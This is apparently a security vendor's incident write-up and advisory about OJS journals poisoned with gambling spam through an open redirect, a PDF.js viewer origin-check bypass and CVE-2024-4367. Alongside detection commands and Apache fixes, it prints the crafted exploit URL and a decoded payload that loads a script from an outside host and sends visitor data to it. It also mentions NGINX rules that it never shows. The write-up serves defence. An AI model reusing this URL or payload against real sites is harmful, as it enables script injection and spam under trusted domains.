Warning: PDF.js Flaw + Open Redirect Can Poison Your Journal’s Google Results

---

Introduction

We have been helping OJS journals with security, upgrades, and maintenance for years, and one pattern we see more often than people realize is SEO spam poisoning that has no obvious source. The journal looks clean : no strange articles, no modified template files, no suspicious database rows. But Google Search Console keeps showing spam warnings, and search results for the journal domain include gambling keywords, pharma ads, or supplement spam.

On May 7, 2026, we responded to exactly this kind of incident at a major Indonesian public university. Their OJS journal was exploited through a chained attack combining an Open Redirect, a subdomain spoofing bypass in the PDF.js viewer, and CVE-2024-4367. The attacker injected online gambling (“judol”) content that appeared under the university’s trusted domain in Google search results : all without uploading a single malicious file to the server.

This article draws directly from that incident report. We walk through how the attack chain works : including the subdomain spoofing bypass that many security guides miss : how to detect it, how we fixed it for them, and what our team can do to protect your journal.

---

A Real Case: How We Discovered and Fixed This Attack

Before we explain the technical chain, let us show you what this looks like in practice. The following is drawn from our internal incident response report (May 2026).

The environment:

Component	Detail
OJS Version	3.3.0-x (older release)
PHP Version	PHP 7.4
Web Server	NGINX
Affected Plugin	`plugins/generic/pdfJsViewer`
Vulnerable Endpoint	`/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html`
Domain	`https://example-university.ac.id/`

The malicious URL the attacker used:

https://example-university.ac.id/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
  ?file=/index.php/index/login/signOut?source=.attacker-domain.org/payload/20363

Compare this to a legitimate URL:

https://example-university.ac.id/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
  ?file=https://example-university.ac.id/journal/article/download/12345/67890/99999

Two parameters are chained in the attack:

• ?file= — parsed by viewer.html with a path to login/signOut instead of an external URL directly. This looks like a same-origin request and passes the initial validation.
• ?source= — parsed by the OJS signOut handler, redirecting to .attacker-domain.org/payload/20363. OJS issues an HTTP 302 redirect to example-university.ac.id.attacker-domain.org.

At this point, the viewer fetches the signOut endpoint, follows the 302 redirect to the attacker’s server, and loads a malicious PDF. The PDF contains a hidden JavaScript payload that exploits CVE-2024-4367 to execute arbitrary code in the context of example-university.ac.id — injecting gambling spam content into the rendered page.

Google indexed the result. Search results for the journal domain began showing online gambling content. But the journal itself had no suspicious articles, no modified templates, and no malware in any server scan.

“We handled this incident from detection through complete remediation,” says Dede Nugroho, OJT Security Team Lead. “The hardest part was convincing the journal team that their server was not ‘hacked’ in the traditional sense. No files were changed. The spam came entirely through the vulnerable viewer at request time.”

Why This Matters

If your journal domain appears in Google search results for spam keywords — gambling, pharmaceuticals, adult content, fake supplements — your academic reputation takes a direct hit. Authors, reviewers, readers, and university administrators who see those results may assume the journal has been compromised. Even after the technical issue is fixed, the indexed spam can linger in search results for weeks or months.

“We have seen cases where journal managers only discovered the problem through Google Search Console warnings, not because their website looked broken,” says Dede Nugroho. “The attack is subtle. The spam only appears when a specific crafted URL is loaded through the vulnerable viewer, so a casual check of the journal homepage shows nothing wrong.”

During our investigation, we found that every spam URL indexed in Google Search Console traced back to a single source pattern — the pdfJsViewer viewer URL with the chained redirect parameters. This is important because it means cleaning up is systematic, not a whack-a-mole exercise.

The attack abuses trust in your domain. Google crawls the URL, which starts from your legitimate journal, and indexes the spam content as if you published it. That is the core of SEO spam poisoning — and it is why fixing this issue is about protecting your journal’s search visibility and credibility, not just server security.

How the Attack Chain Works

This is not a normal website defacement where an attacker uploads a malicious PHP file or edits article content in the OJS database. It is a chained abuse of redirect behavior, a subdomain spoofing bypass, and a vulnerable PDF viewer — and understanding each link in the chain is the key to fixing it.

1. Open Redirect

An Open Redirect occurs when a web application accepts a user-controlled URL or path parameter and redirects visitors without properly validating the destination. The OWASP Unvalidated Redirects and Forwards Cheat Sheet explains that unvalidated redirects can let attackers send users from a trusted domain to a malicious site, often as part of a phishing campaign or a larger exploit chain. This falls under CWE-601: URL Redirection to Untrusted Site.

In the OJS context, this happens when parameters such as source, redirectUrl, return, or similar values are used to send users back to a specific page after login, logout, registration, or workflow actions. In the case we investigated, the vulnerable endpoint was the signOut handler with the ?source= parameter.

The dangerous code pattern looks like this:

redirect($baseUrl . $_GET['source']);

Without checking whether $_GET['source'] is truly a safe internal path, the application can be tricked into sending a visitor anywhere — including to an attacker-controlled domain. In the case we investigated, the signOut handler issued an HTTP 302 redirect to .attacker-domain.org, which resolved to the attacker’s server.

2. Subdomain Spoofing Bypass (Prefix-Match Validation)

Here is a critical detail that many security guides miss. The PDF.js viewer plugin includes a same-origin check meant to prevent loading PDFs from external domains. However, this check is implemented as a prefix-match string comparison, not proper URL hostname parsing.

This means the validator checks whether the target URL starts with the journal’s domain string. An attacker can bypass this by creating a domain under their own control where the journal’s hostname is the prefix:

example-university.ac.id.attacker-domain.org

The string https://example-university.ac.id still appears as a prefix of https://example-university.ac.id.attacker-domain.org, so the validator considers this “same origin” and passes the check. The attacker does not need to compromise DNS — they simply register or configure a subdomain on a domain they control.

This is exactly what we observed in the field. The server at example-university.ac.id.attacker-domain.org served a malicious PDF with proper headers:

HTTP/1.1 200
Server: nginx/1.26.3
Content-Type: application/pdf
Content-Length: 5848
Content-Disposition: inline; filename="index.pdf"
Access-Control-Allow-Origin: *

This technique was documented in the EXFIL0 repository on weaponizing CVE-2024-4367.

3. PDF.js CVE-2024-4367

CVE-2024-4367 is a vulnerability in PDF.js, Mozilla’s JavaScript-based PDF viewer. The NVD entry describes it as a missing type check when handling fonts, which allows arbitrary JavaScript execution in the PDF.js context. NVD rates this as High severity; other sources rate it as CVSS 9.8 (Critical) when weaponized in a web application context.

The official sources state that vulnerable pdfjs-dist versions are ≤ 4.1.392, and the patched version is 4.2.67. When PDF.js loads a malicious PDF with isEvalSupported enabled, attacker-controlled JavaScript can execute in the hosting domain context. Codean Labs, which disclosed the vulnerability, explains that this can seriously impact any web application that embeds PDF preview functionality.

In the incident we investigated, the malicious PDF contained a Font object with a /FontMatrix field that triggered eval(atob(...)). The decoded payload:

var s = document.createElement('script');
s.src = 'https://www.journals.uc.edu.katofalk.xyz/script.php'
  + '?url=' + encodeURIComponent(window.location.href)
  + '&ref=' + encodeURIComponent(document.referrer)
  + '&ua=' + encodeURIComponent(navigator.userAgent);
s.type = 'text/javascript';
document.head.appendChild(s);

Because PDF.js executed this on the origin example-university.ac.id, the injected script ran with the full privileges of the university domain — meeting the definition of CWE-79: Cross-Site Scripting (XSS).

Many OJS installations include the PDF.js-based viewer plugin for article and issue galleys. The plugin repository shows it ships with OJS and can be enabled from the Journal Manager plugin interface — meaning many journals may be running it without actively choosing to.

4. SEO Spam Poisoning

SEO spam poisoning is when attackers manipulate indexed URLs so that Google shows spam content under a legitimate domain. In the context of journal websites, this often appears as:

• Online gambling keywords (as we have seen in real-world attacks)
• Pharma or supplement spam
• “Male enhancement” content
• Fake shopping or product pages
• Unparsable structured data errors in Google Search Console

The confusing part for journal administrators is that the journal may look completely clean when checked manually. There may be no suspicious article, no modified template, and no malware detected by a file scan. The spam is generated dynamically when the crafted URL is rendered through the vulnerable viewer and redirect chain. During our investigation, every spam URL in Google Search Console mapped back to the same single vulnerable endpoint pattern.

---

How Attackers Exploit This Vulnerability

The attack works as a five-step chain. Understanding each step helps you know where to break it. We illustrate this with a real attack flow we handled.

Step 1: The attacker finds an OJS site using the PDF.js viewer

The attacker identifies OJS installations where the PDF.js viewer is publicly accessible, usually under a path similar to:

/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html

This path is used by OJS to render article PDFs inside the browser. If the plugin is enabled, the viewer is typically reachable without authentication.

Step 2: The attacker abuses an Open Redirect endpoint

The attacker looks for an OJS route that accepts a redirect parameter. Common targets include logout flows, login return URLs, and workflow redirect handlers. In the case we investigated, the attacker targeted the signOut handler with the ?source= parameter.

Instead of redirecting to a normal internal OJS page, the vulnerable logic can be tricked into accepting an external URL. The attacker used ?source=.attacker-domain.org/payload/20363, which caused OJS to issue an HTTP 302 redirect to the attacker’s server.

Step 3: The attacker bypasses same-origin validation via subdomain spoofing

The PDF.js viewer’s same-origin check compares the target URL against the journal domain using prefix-matching. The attacker creates a domain like:

example-university.ac.id.attacker-domain.org

Because https://example-university.ac.id is a prefix of this domain, the check passes. The viewer follows the redirect and fetches a malicious PDF from the attacker’s server — all while the plugin believes it is loading from the same origin.

Step 4: Vulnerable PDF.js executes attacker-controlled JavaScript

If the bundled PDF.js version is vulnerable to CVE-2024-4367, the malicious PDF triggers JavaScript execution inside the PDF.js viewer context. In the case we investigated, the PDF payload used a Font object /FontMatrix field containing eval(atob(...)) — a known exploit technique documented in the open-source weaponization repository for CVE-2024-4367.

In an SEO spam campaign, the goal is typically not to steal editor credentials — it is to rewrite what the search engine crawler sees when it visits the URL.

Step 5: Google indexes spam under the journal domain

The malicious script modifies the rendered page content, injects spam text, or adds fake structured data. Google then indexes that page as if the spam content belongs to the journal domain.

In the case we investigated, Google Search Console showed all indexed spam URLs originating from the same single pattern:

https://example-university.ac.id/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html
  ?file=%2Findex.php%2Findex%2Flogin%2FsignOut%3Fsource%3D.attacker-domain.org/(id)

This is why administrators may experience:

• Unparsable structured data warnings in Google Search Console
• Spam snippets appearing in Google search results under the journal domain
• Indexed PDF.js viewer URLs with spam content
• No spam found in the database or file system
• No malware detected by server-side scans

The attack is dangerous precisely because it exploits how the page is rendered at request time, not necessarily what is stored permanently in OJS.

What Is the Impact?

SEO reputation damage

Your journal domain can start appearing in Google results for spam keywords — gambling, pharmaceuticals, adult content, fake supplements. For academic journals, this is serious because institutional trust is directly tied to the publication’s reputation. If a university administrator searches for your journal and sees spam snippets, the damage is immediate. For an academic institution, the brand risk is significant: spam content appearing under an .ac.id or .edu academic domain can erode decades of institutional trust.

Google Search Console warnings

Administrators may receive warnings such as unparsable structured data, parsing errors, invalid JSON-LD, and spammy indexed URLs. These warnings are often the first sign that something is wrong — and they can appear before you notice anything unusual on the journal website itself.

No obvious malware evidence

This attack can be difficult to investigate because the spam does not exist in OJS articles, the database, theme files, plugin files, or uploaded media folders. The malicious content may only appear when the specific crafted URL is rendered through the vulnerable viewer, making standard malware scans ineffective at detection.

Loss of journal trust

If Google indexes spam under a journal domain, the damage extends beyond technical metrics. Authors may hesitate to submit. Reviewers may question the journal’s professionalism. Indexing services may flag the domain. Institutional stakeholders may demand answers.

Journal deindexing risk

The most severe long-term consequence of SEO spam poisoning is the risk of being delisted from major academic indexes. Google Scholar, the Directory of Open Access Journals (DOAJ), Scopus, and Web of Science (WOS) all maintain quality and content integrity standards. When a journal domain is flagged for hosting spam content — even if that spam was injected without the journal’s knowledge — these indexers may suspend or permanently remove the journal from their listings.

This is not a hypothetical risk. Indexing services rely on automated crawlers that see the same spam content Google sees. When a crawler encounters gambling keywords, pharma spam, or adult content under an academic domain, it does not distinguish between “the journal published this” and “the journal was exploited.” It simply flags the domain.

For journals that have spent years building their reputation — submitting applications to DOAJ, passing Scopus Content Selection and Advisory Board (CSAB) reviews, earning Web of Science Core Collection inclusion — being deindexed can mean losing everything at once. The citations, the visibility, the institutional recognition, and the trust of the academic community can evaporate in weeks.

Getting re-indexed is not quick. It can take months of appeals, re-application, and re-evaluation. Some indexes require a clean record for a minimum period before reconsidering a previously flagged journal. During that time, the journal is invisible to researchers searching for peer-reviewed content in their field.

For university-based journals — especially those in developing countries where DOAJ and Scopus indexing are hard-won institutional achievements — this is not just a technical cleanup issue. It is an existential threat to the journal’s academic standing.

Broader JavaScript execution risk

While the attacks we have seen focused on SEO spam injection (gambling, pharma, supplement content), CVE-2024-4367 is not limited to content modification. As the GitHub Advisory warns, attacker-controlled JavaScript may execute in the hosting domain context. Depending on your application configuration and session protections, this can create broader risks. That is why patching the vulnerability — not just cleaning up the spam — is essential.

How to Check If Your Journal Is Affected

Check Google Search Console

Look for suspicious URLs containing:

/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html

Pay special attention to URLs with encoded redirect parameters such as source=, redirectUrl=, return=, or file=. As we have seen in field investigations, every spam URL traced back to a single vulnerable endpoint — finding the pattern makes cleanup systematic.

Search Google manually

Run these searches, replacing yourjournal.com with your actual domain:

site:yourjournal.com pdfJsViewer
site:yourjournal.com casino
site:yourjournal.com gambling
site:yourjournal.com "buy now"
site:yourjournal.com supplement
site:yourjournal.com pharmacy

If any of these return results with spam content under your domain, you may be affected.

Check your web server access logs

Use these grep commands (adjust the log path to match your server):

grep -i "pdfJsViewer/pdf.js/web/viewer.html" access.log
grep -i "signOut" access.log
grep -i "source=" access.log
grep -i "redirectUrl=" access.log

Look for requests where the parameters point to external domains or where the file parameter chains through a redirect endpoint like signOut.

Look for the subdomain spoofing pattern

A distinctive indicator of this specific attack is the subdomain spoofing technique. Check your logs for requests where the redirect target is a domain that starts with your journal’s hostname but continues with an external domain:

grep -E "yourjournal.example.edu\.[a-z]" access.log

We have seen attackers use example-university.ac.id.attacker-domain.org — this same pattern can be applied to any OJS domain.

---

How to Fix It

1. Update OJS to the latest supported version

This is the single most important step. In a PKP forum discussion about this issue, a PKP team member confirmed that the related vulnerability was addressed and that OJS users should keep installations updated to the latest build of supported versions, including supported 3.3.0-x, 3.4.0-x, and 3.5.0-x releases.

Do not stay on an old OJS version just because the public-facing pages still load. In the case we handled, the journal was running an older OJS 3.3.0-x release — an older version in a supported line that lacked the latest security patches.

2. Patch or disable the PDF.js viewer

Check the PDF.js version bundled with your OJS PDF viewer plugin. According to the GitHub Advisory:

• Affected versions: ≤ 4.1.392
• Patched version: 4.2.67

If you cannot immediately update PDF.js, the advisory also lists a workaround: set isEvalSupported to false.

Your practical options include:

• Update OJS if the newer release includes a patched PDF.js viewer
• Update the pdfJsViewer plugin if a fixed version is available
• Replace the bundled PDF.js files with version 4.2.67 or newer, after testing compatibility
• Temporarily disable the PDF.js viewer plugin and let browsers open PDFs directly

3. Apply server-level Apache protection

We deployed an immediate apache-level patch in a recent incident to block the attack chain before plugin-level fixes could be applied. This is the exact configuration we used — you can adapt it for your journal domain:

Backup your setting before applying this .htaccess config

<IfModule mod_rewrite.c>
RewriteEngine On

# Target only PDF.js viewer
RewriteCond %{REQUEST_URI} ^/plugins/generic/pdfJsViewer/pdf\.js/web/viewer\.html$ [NC]

# Block redirect/open-redirect chain
RewriteCond %{QUERY_STRING} (^|&)file=.*(signOut|source=|source%3d|source%253d) [NC]
RewriteRule ^ - [F,L]


# Target only PDF.js viewer
RewriteCond %{REQUEST_URI} ^/plugins/generic/pdfJsViewer/pdf\.js/web/viewer\.html$ [NC]

# Block external absolute URLs, allow only same-origin:
# Change your-journal.example.edu to your real domain
RewriteCond %{QUERY_STRING} (^|&)file=https?:// [NC]
RewriteCond %{QUERY_STRING} !(^|&)file=https?://your-journal\.example\.edu/ [NC]
RewriteRule ^ - [F,L]


# Target only PDF.js viewer
RewriteCond %{REQUEST_URI} ^/plugins/generic/pdfJsViewer/pdf\.js/web/viewer\.html$ [NC]

# Block domain spoofing pattern:
# Example blocked: https://your-journal.example.edu.attacker-domain.org/...
RewriteCond %{QUERY_STRING} (^|&)file=https?://your-journal\.example\.edu\. [NC]
RewriteRule ^ - [F,L]
</IfModule>


<IfModule mod_headers.c>
<FilesMatch "^viewer\.html$">
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'self'; connect-src 'self'; img-src 'self' data: blob:; style-src 'self' 'unsafe-inline'; worker-src 'self' blob:"
    Header always set X-Content-Type-Options "nosniff"
    Header always set Referrer-Policy "same-origin"
</FilesMatch>
</IfModule>

Replace your-journal.example.edu with your actual domain. The return 444 directive drops the connection without sending a response — this is an NGINX-specific status code that prevents the attacker from receiving any feedback.

Key protections in this configuration:

• CSP header (Content-Security-Policy) restricts script sources to 'self' only, blocking the external script injection we have observed in the field
• X-Content-Type-Options: nosniff prevents MIME-type sniffing
• Referrer-Policy: same-origin prevents referrer leakage
• Block signOut and source= patterns to break the redirect chain
• Block external URLs in the file parameter
• Block subdomain spoofing by rejecting URLs where the domain continues past the legitimate hostname

4. Fix the plugin-level same-origin validation

The subdomain spoofing bypass occurs because the same-origin check uses prefix-matching instead of proper URL hostname parsing. In the web/viewer.js file, the validateFileURL function should:

• Parse the URL properly to extract the hostname component
• Compare the full, parsed hostname — not a string prefix
• Reject any URL where the hostname does not exactly match the journal domain
• Block redirect parameters (signOut, source=) within the file parameter

For Apache users, equivalent rules can be applied via mod_rewrite:

RewriteEngine On
RewriteCond %{QUERY_STRING} (signOut|source=) [NC]
RewriteRule ^plugins/generic/pdfJsViewer/pdf.js/web/viewer\.html$ - [F]

5. Block the vulnerable viewer URL if not needed

If your journal does not require the embedded PDF viewer, you can block access to the viewer path at the web server level:

/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html

Return 410 Gone or 403 Forbidden. Test article PDF access after applying any server rule to make sure legitimate PDF downloads still work.

6. Fix Open Redirect validation

Any redirect destination that can be influenced by user input must be validated. Our recommended approach:

• Allow only internal relative paths
• Reject full external URLs (including those starting with http:// or https://)
• Reject protocol-relative URLs such as //attacker.com
• Reject host suffix tricks and subdomain spoofing patterns
• Use an allowlist of known safe paths when possible
• Redirect invalid values to a safe default page

Here is the dangerous pattern to avoid:

$redirect = $baseUrl . $_GET['source'];

Here is a safer approach:

$source = $_GET['source'] ?? '';

// Only allow paths starting with "/" and a letter or digit, reject "//"
if (preg_match('#^/[A-Za-z0-9]#', $source) && !str_starts_with($source, '//')) {
    redirect($baseUrl . $source);
} else {
    redirect($baseUrl . '/index/login');
}

This is a simplified example. Apply the fix according to your OJS version and coding standards.

7. Clear all caches

After patching files or upgrading OJS, clear:

• OJS data cache
• OJS template cache
• PHP OPcache
• CDN cache, if used
• Reverse proxy cache, if used

Then retest suspicious redirect URLs. If the Location header still points to an external domain, the fix has not taken effect.

8. Clean Google Search Console

Patching the website prevents new spam URLs from being generated, but already-indexed spam URLs may persist in Google search results. In the case we handled, we submitted removal requests for the entire URL pattern — since all spam URLs originated from the same single endpoint, this was a single systematic cleanup.

Use Google’s Removals tool to temporarily block affected URLs from search results.

Recommended cleanup steps:

1. Submit removal requests for the spam URL pattern (all URLs containing the pdfJsViewer viewer path)
2. Make the vulnerable viewer URL return 410 Gone or another non-indexable response
3. Validate structured data fixes in Google Search Console
4. Monitor new indexed URLs for 2–4 weeks
5. Request recrawling after confirming the technical fix

Recommended Security Checklist

• Update OJS to the latest supported release
• Check whether pdfJsViewer is enabled
• Check the bundled PDF.js version (patch to 4.2.67+ if ≤ 4.1.392)
• Set isEvalSupported = false in build/pdf.js as workaround
• Add CSP header to the viewer endpoint ( Apache)
• Disable PDF.js viewer if not required
• Audit redirect parameters: source, redirectUrl, return, next
• Block unsafe external redirects at the server level
• Add server-level rules to block signOut + source= patterns in file parameter
• Block subdomain spoofing patterns (domain prefix matching external domains)
• Fix validateFileURL in web/viewer.js to use proper hostname parsing
• Check access logs for suspicious PDF.js viewer URLs and subdomain spoofing patterns
• Check Google Search Console for spam indexed URLs
• Return 410 Gone or 403 Forbidden for known spam viewer URL patterns
• Clear OJS cache, OPcache, CDN, and reverse proxy cache
• Monitor search results for spam keywords for 2–4 weeks

How OJT Team Helps

When a security issue like this affects an OJS journal, the fix is rarely just one step. As our field experience shows, it involves immediate server-level blocking, version upgrades, plugin auditing, redirect validation, and search engine cleanup — all while keeping the journal online and submissions flowing.

We help OJS journals handle exactly this kind of situation. Here is how our team (OJT Team) can support you:

OJS Security Audit and Patching

Our OJS Expert Support team can review your installation for the specific vulnerabilities described in this article — Open Redirect endpoints, outdated PDF.js versions, subdomain spoofing vulnerabilities, and unsafe redirect handling. We apply the same NGINX-level and plugin-level patches we developed during a recent incident response engagement and verify that the attack chain is fully broken.

OJS Version Upgrade

If your journal is running an older OJS version that bundles a vulnerable PDF.js viewer, the most complete fix is a version upgrade. Our OJS Upgrade Service handles the full migration, including plugin compatibility checks, theme testing, and post-upgrade verification, so you do not have to worry about breaking your journal during the process.

Managed OJS Hosting with Proactive Monitoring

Our OJS Hosting includes proactive security monitoring and regular updates. We keep OJS core, plugins, and server configurations current, so vulnerabilities like CVE-2024-4367 are patched before they can be exploited. After a recent incident response engagement, we integrated Vortex Shield — our security monitoring system with a SERP Lens plugin that continuously monitors Google search results for your domain, alerting on spam keywords or reputation issues automatically via email.

Advanced Security Configuration

For journals that want additional protection beyond core OJS security, our Advanced Security Plugin adds layers of defense including brute-force protection, suspicious request filtering, and hardened access controls.

“One thing we emphasize with every journal we help is that security is not a one-time fix,” says Reja, OJT Security Researcher. “After patching this vulnerability, we also audited the wider redirect handling and viewer configuration to prevent similar chained attacks from being possible in the future.”

If you are seeing spam in your Google Search Console, or if you want to make sure your journal is not vulnerable to this attack chain, reach out to our team for a security review.

---

What to Avoid

• Do not edit OJS core files to patch redirect logic unless you fully understand the change and have tested it on a staging environment. Core modifications can break during the next upgrade.
• Do not delete database tables or records without a verified backup. SEO spam from this attack does not live in the database — deleting content will not fix it and may cause data loss.
• Do not assume a malware scan is enough. Standard file scanners look for known malicious files. This attack generates spam dynamically through request-time rendering, so the scanner may report “clean” even when the vulnerability is active.
• Do not ignore Google Search Console warnings. If you see structured data errors or spam URL notifications, investigate immediately. The longer indexed spam URLs remain, the harder they are to clean from search results.
• Do not assume that disabling the PDF.js viewer plugin through the OJS interface is complete protection. Verify at the server level that the viewer URL path returns a non-200 status code. The subdomain spoofing bypass and redirect chain must be blocked at the web server level for full protection.

---

When to Ask for Technical Help

You should escalate to a technical specialist if:

• You are unsure which OJS version you are running or how to upgrade safely
• Your upgrade produces errors, blank pages, or broken plugin functionality
• You find suspicious URLs but cannot identify the source after following the detection steps above
• Google Search Console warnings persist after applying the fixes
• You need to implement server-level NGINX or Apache rules but lack the experience
• You need to patch the validateFileURL function in the PDF.js viewer to fix the subdomain spoofing bypass
• Your journal handles sensitive data (author information, reviewer identities, unpublished manuscripts) and you want a comprehensive security audit

If any of these apply, contact the OJT Team. We work with OJS journals daily and can assess and resolve these issues efficiently — just as we have done for other academic institutions.

---

FAQ

Why does my OJS journal show spam in Google but looks clean when I visit it?

This attack chain generates spam content dynamically — it is not stored in your database or files. The spam only appears when a specifically crafted URL is loaded through the vulnerable PDF.js viewer and redirect chain. Google crawls that URL, indexes the spam, but a normal visit to your journal homepage may show everything looking normal. This is exactly what we have observed in real-world cases.

What is the subdomain spoofing bypass, and how do I know if I’m vulnerable?

The subdomain spoofing bypass exploits the fact that the PDF.js viewer’s same-origin check uses prefix-match string comparison instead of proper URL hostname parsing. An attacker creates a domain like yourjournal.ac.id.attacker.com — because yourjournal.ac.id is a prefix, the check passes. You are vulnerable if your pdfJsViewer plugin has not been patched to use proper URL hostname parsing in its validateFileURL function. The NGINX configuration we have deployed in the field blocks this pattern specifically.

Should I just delete the spam URLs from Google Search Console?

Removing the URLs from Google Search Console using the Removals tool is a temporary fix. It stops the indexed spam from appearing in results, but it does not close the vulnerability. In the case we handled, we submitted removal requests for the entire URL pattern while simultaneously applying server-level and plugin-level patches. Attackers can generate new spam URLs unless you also patch the PDF.js viewer, fix the Open Redirect and subdomain spoofing bypass, and update OJS.

How do I know if my OJS PDF.js viewer is vulnerable?

Check the version of pdfjs-dist bundled with your OJS installation. If it is version 4.1.392 or lower, it is vulnerable to CVE-2024-4367. You can also check the GitHub Advisory and the EXFIL0 weaponization repository for the full list of affected versions and proof-of-concept exploit techniques.

Can I just disable the PDF.js viewer and leave everything else?

Disabling the PDF.js viewer breaks the attack chain at one point, and it is a good temporary measure. However, the Open Redirect weakness and subdomain spoofing vulnerability may still exist and could be exploited in combination with other vulnerabilities. In the case we handled, we applied both immediate server-level blocking AND plugin-level fixes to close every link in the chain.

Is this a PKP/OJS bug, or is it a plugin issue?

The Open Redirect behavior is an application-level concern that should be handled with proper input validation in redirect logic. The subdomain spoofing bypass is a weakness in the pdfJsViewer plugin’s same-origin validation. The PDF.js vulnerability (CVE-2024-4367) is a known issue in the upstream PDF.js library. OJS bundles PDF.js through the viewer plugin, so keeping OJS updated is the most reliable way to receive the fix for all components.

---

Conclusion

The combination of an Open Redirect, subdomain spoofing bypass, and CVE-2024-4367 in PDF.js is dangerous because it can make your OJS journal appear compromised in Google search results even when no file has been changed on your server. The attacker exploits trust in your domain: the URL starts from your legitimate journal, passes through a redirect weakness, bypasses same-origin checks via subdomain spoofing, loads a malicious PDF, and uses the vulnerable viewer to inject spam content into the rendered page.

This is not hypothetical. We have handled this exact attack chain in the field, where a major academic institution was exploited and gambling spam appeared under their trusted academic domain in Google results.

For journal administrators, the fix is not about deleting spam URLs one by one. The real solution is to break every link in the attack chain:

1. Update OJS to the latest supported version
2. Patch or disable the vulnerable PDF.js viewer — including the subdomain spoofing bypass fix
3. Apply server-level blocking — NGINX or Apache rules to block the redirect chain and spoofing patterns
4. Fix unsafe redirect handling with proper input validation
5. Clean indexed spam URLs from Google Search Console

OJT team has guided many OJS journals through similar security challenges. The key is addressing the root cause, not just the symptoms. A journal’s reputation in search results is part of its academic credibility — and protecting it requires proactive maintenance, not reactive cleanup.

Tags : journal website protection OJS security